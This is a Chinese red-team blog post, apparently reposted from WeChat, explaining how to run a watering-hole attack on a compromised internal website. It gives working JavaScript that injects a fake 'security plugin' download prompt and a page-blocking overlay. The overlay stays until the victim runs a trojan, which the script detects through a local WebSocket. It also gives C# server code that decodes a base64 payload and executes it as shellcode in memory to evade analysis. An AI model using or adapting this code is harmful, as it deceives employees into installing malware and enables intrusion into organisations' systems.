前言
在我们获取到目标后台或者一些其他内部员工使用的系统时,为了进一步扩大权限难免会用到水坑这一手段。在使用水坑时避免不了的两个问题:
-
下载后不打开
-
频繁的被分析
对于重复上线现在已经有了一些解决方案,比如利用cookie进行判断。代码如下:
<html>
<script>
// 设置Cookie的函数
function setCookie(name, value, days) {
let expires = "";
if (days) {
const date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/";
};
if (document.cookie.indexOf("down")==-1){
alert("安全插件过期,点击确定自动下载安全插件");
window.open("https://example.com/path/to/your/file.ext", '_blank');
setTimeout(() => {
setCookie('down', '1', 7); // 假设下载在1秒后完成,并设置Cookie有效期为7天
alert('下载成功'); // 仅用于演示,实际应用中应移除或替换
}, 1000); // 延迟时间,这里只是随意设置的,并不准确
}
</script>
</html>
但是这样我们无法判断被攻击者是否打开了木马,因为他在跳转页面后就不会再次弹出该窗口了。这样即使是他不运行我们的木马也能正常访问网页。那么有没有什么方案可以让他一定打开呢?
在我多次实施金融项目时,发现很多站点会要求安装控件。控件通过websocket来进行通信,我们能不能也使用websocket来进行水坑呢?
WebSocket服务端
这里为了方便我使用C#来进行开发演示,服务端demo如下:
using System;
using WebSocketSharp;
using WebSocketSharp.Net;
using WebSocketSharp.Server;
namespace websocket
{
internal class Program
{
public class Test : WebSocketBehavior
{
protected override void OnOpen()
{
Console.WriteLine("客户端连接成功!");
}
protected override void OnMessage(MessageEventArgs e)
{
Console.WriteLine("接收到消息:" + e.Data);
Send("服务端已接收到消息:" + e.Data);
}
protected override void OnClose(CloseEventArgs e)
{
Console.WriteLine("客户端断开连接!");
}
}
static void Main(string[] args)
{
var wssv = new WebSocketServer(4649);
wssv.AddWebSocketService<Test>("/Test");
wssv.Start();
Console.ReadKey(true);
wssv.Stop();
}
}
}
Javascript中连接代码:
const socket = new WebSocket('ws://localhost:4649/Test');
socket.send("hello")
接收数据:
socket.addEventListener('message', (event) => {
console.log('收到消息:', event.data);
});
那么熟悉基本的使用流程后,就可以开始完善我们的劫持页面了。代码如下:
function hookBody(){
var overlay = document.createElement('div');
// 设置 div 的 CSS 样式
overlay.style.position = 'fixed';
overlay.style.top = '0';
overlay.style.left = '0';
overlay.style.width = '100%';
overlay.style.height = '100%';
overlay.style.backgroundColor = 'rgba(0, 0, 0, 0.5)';
overlay.style.zIndex = "999";
var msg = document.createElement('div');
msg.style.margin = "15% auto 0 auto";
msg.style.textAlign = "center";
msg.style.padding = "80px";
msg.style.width="30%";
msg.style.border="1px solid"
msg.style.borderRadius="10px"
msg.style.boxShadow="5px 5px 10px #000"
msg.style.background="#F0F8FF";
msg.style.color="#000000";
msg.style.fontSize="20px";
msg.innerHTML="未安装安全控件,请点击<a target="_blank" href="http://www.baidu.com">下载</a>并运行后刷新网页再试!";
overlay.appendChild(msg);
// 将 div 插入到 body 的末尾
document.body.appendChild(overlay);
}
var ws = new WebSocket("ws://127.0.0.1:4649/Test");
ws.onerror = function(e){
hookBody();
};
如果没有连接上我们的websocket服务器,则会出现一个覆盖全页面的提示框:
在被攻击人未打开木马之前均无法对该网页进行任何操作。哪怕对方刷新网页、清除缓存等等。
防止分析
那么如何防止防守方分析我们的C2呢?其实完全可以将分阶段的payload编码后放进JS中,等连接上的时候发送给服务端上线。
function hookBody(){
var overlay = document.createElement('div');
// 设置 div 的 CSS 样式
overlay.style.position = 'fixed';
overlay.style.top = '0';
overlay.style.left = '0';
overlay.style.width = '100%';
overlay.style.height = '100%';
overlay.style.backgroundColor = 'rgba(0, 0, 0, 0.5)';
overlay.style.zIndex = "999";
var msg = document.createElement('div');
msg.style.margin = "15% auto 0 auto";
msg.style.textAlign = "center";
msg.style.padding = "80px";
msg.style.width="30%";
msg.style.border="1px solid"
msg.style.borderRadius="10px"
msg.style.boxShadow="5px 5px 10px #000"
msg.style.background="#F0F8FF";
msg.style.color="#000000";
msg.style.fontSize="20px";
msg.innerHTML="未安装安全控件,请点击<a target="_blank" href="http://www.baidu.com">下载</a>并运行后刷新网页再试!";
overlay.appendChild(msg);
// 将 div 插入到 body 的末尾
document.body.appendChild(overlay);
}
var payload="payload";
var ws = new WebSocket("ws://127.0.0.1:4649/Test");
ws.onerror = function(e){
hookBody();
};
//链接上的事件
ws.onopen = function(){
ws.send(payload);
}
C# 如下:
protected override void OnMessage(MessageEventArgs e)
{
String payload = e.Data;
try {
byte[] p = Convert.FromBase64String(payload);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)p.Length,0x1000, 0x40);
Marshal.Copy(p, 0, (IntPtr)(funcAddr), p.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
catch (Exception ex)
{
Console.WriteLine("接收到消息:" + e.Data);
}
//Send("服务端已接收到消息:" + e.Data);
}
这样当目标运行我们的木马后访问网页就不会弹出提示,并且能够成功上线了。
HTML及C#代码均已打包进入压缩包,关注公众号后回复20241106进行下载
原文始发于微信公众号(我真不是红队啊):利用websocket进行水坑攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论